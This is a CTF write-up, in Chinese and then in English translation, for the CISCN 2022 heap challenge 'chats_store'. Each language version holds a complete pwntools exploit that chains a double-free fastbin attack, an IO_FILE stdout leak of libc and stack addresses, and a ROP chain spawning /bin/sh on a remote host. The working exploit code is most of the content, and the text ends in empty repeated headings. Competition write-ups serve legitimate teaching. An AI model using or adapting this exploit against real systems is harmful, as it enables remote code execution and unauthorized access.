chats_store#

解题思路#

堆题，libc 版本为 2.23 没有 tcache，观察 free 逻辑发现存在 uaf 和 doublefree，由于没有 edit 和 show 故使用 IO_FILE Attack 泄露 libc 基址。

泄露成功后就是常规的 fastbin attack 打__malloc_hook，但是经过测试，one_gadget 一个都打不通，所以，不能采用 ogg 的方法。想到 rop 方法，构造 system (“/bin/sh”)，需要泄露栈地址故再次利用 IO_FILE 泄露 environ 中存的栈地址，之后构造偏移量将 fastbin 分配到栈上，最后写入 ROP 实现 getshell

EXP#

1
from pwn import *
2
import time
3

4
# getIO = lambda: process(['./ld-2.23.so', './chats_store'], env={'LD_PRELOAD':'./libc-2.23.so'})
5
getIO = lambda: remote('43.138.52.3', 59000)
6
context.log_level='debug'
7
io = getIO()
8

9
def add(idx, size, content):
10
    io.sendlineafter('> ', '1')
11
    tmp = str(idx)
12
    tmp += (8 - len(tmp)) * '\x00'
13
    io.sendafter('chats No. > ', tmp)
14
    io.sendlineafter('size> ', str(size))
15
    io.sendafter('chats> ', content)
16
    # time.sleep(0.5)
17

18
def free(idx):
19
    io.sendlineafter('> ', '2')
20
    io.sendlineafter('chats No. > ', str(idx))
21

22
while 1:
23
    add(0, 0x28, 'aaaa')
24
    add(1, 0x68, 'aaaa')
25
    add(11, 0x68, 'aaaaa')
26
    add(12, 0x28, 'aaa')
27
    free(0)
28
    add(0, 0x28, 'a'*0x28+'\xe1')
29
    free(1)
30
    add(0, 0x68, '\xdd\x15')
31

32
    add(20, 0x68, 'aaaa') # b
33
    add(21, 0x68, 'aaaa') # a
34
    add(22, 0x28, 'aaaa')
35
    free(21)
36
    free(20)
37
    free(21)
38

39
    add(21, 0x68, '\x30')
40
    add(22, 0x68, 'aaaa')
41
    add(23, 0x68, 'aaaa')
42
    add(24, 0x68, 'aaaa')
43
    flag = 0xfbad1800
44
    try:
45
        add(25, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +'\x48')
46
        inp = io.recv(200, timeout=2)
47
        log.success('inp:'+inp)
48
        break
49
        _IO_2_stdout_ = u64(inp)
50
        log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_))
51
        break
52
    except:
53
        io.close()
54
        io = getIO()
55

56
inp = io.recvuntil('\x7f').ljust(8, '\x00')
57
_IO_2_stdout_ = u64(inp)
58
log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_))
59
libc_base = _IO_2_stdout_ - 0x3c56a3
60
log.success('libc_base:'+hex(libc_base))
61

62
stdout_addr = libc_base + 0x3c55dd
63
environ = libc_base + 0x003C6F38
64
add(20, 0x68, 'aaaa') # b
65
add(21, 0x68, 'aaaa') # a
66
add(22, 0x28, 'aaaa')
67
free(21)
68
free(20)
69
free(21)
70
add(21, 0x68, p64(stdout_addr))
71
add(22, 0x68, 'aaaa')
72
add(23, 0x68, 'aaaa')
73
add(24, 0x68,  '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(environ) + p64(environ+0x10)*2)
74
stack_addr =  u64(io.recv(8))
75
log.success('stack_addr:'+hex(stack_addr))
76

77

78

79

80
# add(32, 0x68, 'aaaa')
81

82
target = stack_addr - 0x163 - 8
83
add(20, 0x68, 'aaaa') # b
84
add(21, 0x68, 'aaaa') # a
85
add(22, 0x28, 'aaaa')
86
free(21)
87
free(20)
88
free(21)
89
add(21, 0x68, p64(target))
90
add(22, 0x68, 'aaaa')
91
add(23, 0x68, 'aaaa')
92

93
libc = ELF('./libc-2.23.so')
94
pop_rdi = 0x0000000000021112 + libc_base
95
sys_addr = libc.sym['system'] + libc_base
96
binsh = 0x0018CE57 + libc_base
97

98
ropp = p64(pop_rdi) + p64(binsh) + p64(sys_addr)
99

100
# gdb.attach(io)
101

102
add(24, 0x68, 'a' * 0x43 + ropp)
103

104
# add(20, 0x68, 'aaaa') # b
105
# add(21, 0x68, 'aaaa') # a
106
# add(22, 0x28, 'aaaa')
107
# free(21)
108
# free(20)
109
# free(21)
110
# add(21, 0x68, p64(stdout_addr))
111
# add(22, 0x68, 'aaaa')
112
# add(23, 0x68, 'aaaa')
113
# add(24, 0x68,  '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(target) + p64(target+0x100)*2)
114

115
io.interactive()

getFlag#

Translate by Kimi-K3

chats_store#

Challenge#

https://gitee.com/csomebro/ctftask/blob/master/2022-06_CISCN/pwn.zip

Solution#

A heap challenge with libc 2.23, which has no tcache. Examining the free logic reveals a UAF and a double free. Since there is no edit or show function, we use an IO_FILE attack to leak the libc base address.

After the leak succeeds, it’s the usual fastbin attack against __malloc_hook. However, after testing, not a single one_gadget works, so we can’t take the one_gadget route. Instead, we go with ROP to construct system("/bin/sh"). This requires leaking a stack address, so we use IO_FILE again to leak the stack address stored in environ. Then we construct an offset to allocate a fastbin chunk on the stack, and finally write the ROP chain to get a shell.

EXP#

1
from pwn import *
2
import time
3

4
# getIO = lambda: process(['./ld-2.23.so', './chats_store'], env={'LD_PRELOAD':'./libc-2.23.so'})
5
getIO = lambda: remote('43.138.52.3', 59000)
6
context.log_level='debug'
7
io = getIO()
8

9
def add(idx, size, content):
10
    io.sendlineafter('> ', '1')
11
    tmp = str(idx)
12
    tmp += (8 - len(tmp)) * '\x00'
13
    io.sendafter('chats No. > ', tmp)
14
    io.sendlineafter('size> ', str(size))
15
    io.sendafter('chats> ', content)
16
    # time.sleep(0.5)
17

18
def free(idx):
19
    io.sendlineafter('> ', '2')
20
    io.sendlineafter('chats No. > ', str(idx))
21

22
while 1:
23
    add(0, 0x28, 'aaaa')
24
    add(1, 0x68, 'aaaa')
25
    add(11, 0x68, 'aaaaa')
26
    add(12, 0x28, 'aaa')
27
    free(0)
28
    add(0, 0x28, 'a'*0x28+'\xe1')
29
    free(1)
30
    add(0, 0x68, '\xdd\x15')
31

32
    add(20, 0x68, 'aaaa') # b
33
    add(21, 0x68, 'aaaa') # a
34
    add(22, 0x28, 'aaaa')
35
    free(21)
36
    free(20)
37
    free(21)
38

39
    add(21, 0x68, '\x30')
40
    add(22, 0x68, 'aaaa')
41
    add(23, 0x68, 'aaaa')
42
    add(24, 0x68, 'aaaa')
43
    flag = 0xfbad1800
44
    try:
45
        add(25, 0x68, '\x00'*0x33 + p64(flag) + p64(0)*3 +'\x48')
46
        inp = io.recv(200, timeout=2)
47
        log.success('inp:'+inp)
48
        break
49
        _IO_2_stdout_ = u64(inp)
50
        log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_))
51
        break
52
    except:
53
        io.close()
54
        io = getIO()
55

56
inp = io.recvuntil('\x7f').ljust(8, '\x00')
57
_IO_2_stdout_ = u64(inp)
58
log.success('_IO_2_stdout_:'+hex(_IO_2_stdout_))
59
libc_base = _IO_2_stdout_ - 0x3c56a3
60
log.success('libc_base:'+hex(libc_base))
61

62
stdout_addr = libc_base + 0x3c55dd
63
environ = libc_base + 0x003C6F38
64
add(20, 0x68, 'aaaa') # b
65
add(21, 0x68, 'aaaa') # a
66
add(22, 0x28, 'aaaa')
67
free(21)
68
free(20)
69
free(21)
70
add(21, 0x68, p64(stdout_addr))
71
add(22, 0x68, 'aaaa')
72
add(23, 0x68, 'aaaa')
73
add(24, 0x68,  '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(environ) + p64(environ+0x10)*2)
74
stack_addr =  u64(io.recv(8))
75
log.success('stack_addr:'+hex(stack_addr))
76

77

78

79

80
# add(32, 0x68, 'aaaa')
81

82
target = stack_addr - 0x163 - 8
83
add(20, 0x68, 'aaaa') # b
84
add(21, 0x68, 'aaaa') # a
85
add(22, 0x28, 'aaaa')
86
free(21)
87
free(20)
88
free(21)
89
add(21, 0x68, p64(target))
90
add(22, 0x68, 'aaaa')
91
add(23, 0x68, 'aaaa')
92

93
libc = ELF('./libc-2.23.so')
94
pop_rdi = 0x0000000000021112 + libc_base
95
sys_addr = libc.sym['system'] + libc_base
96
binsh = 0x0018CE57 + libc_base
97

98
ropp = p64(pop_rdi) + p64(binsh) + p64(sys_addr)
99

100
# gdb.attach(io)
101

102
add(24, 0x68, 'a' * 0x43 + ropp)
103

104
# add(20, 0x68, 'aaaa') # b
105
# add(21, 0x68, 'aaaa') # a
106
# add(22, 0x28, 'aaaa')
107
# free(21)
108
# free(20)
109
# free(21)
110
# add(21, 0x68, p64(stdout_addr))
111
# add(22, 0x68, 'aaaa')
112
# add(23, 0x68, 'aaaa')
113
# add(24, 0x68,  '\x00'*0x33 + p64(flag) + p64(0)*3 +p64(target) + p64(target+0x100)*2)
114

115
io.interactive()

chats_store#

题目#

解题思路#

EXP#

getFlag#

chats_store#

Challenge#

Solution#

EXP#

getFlag#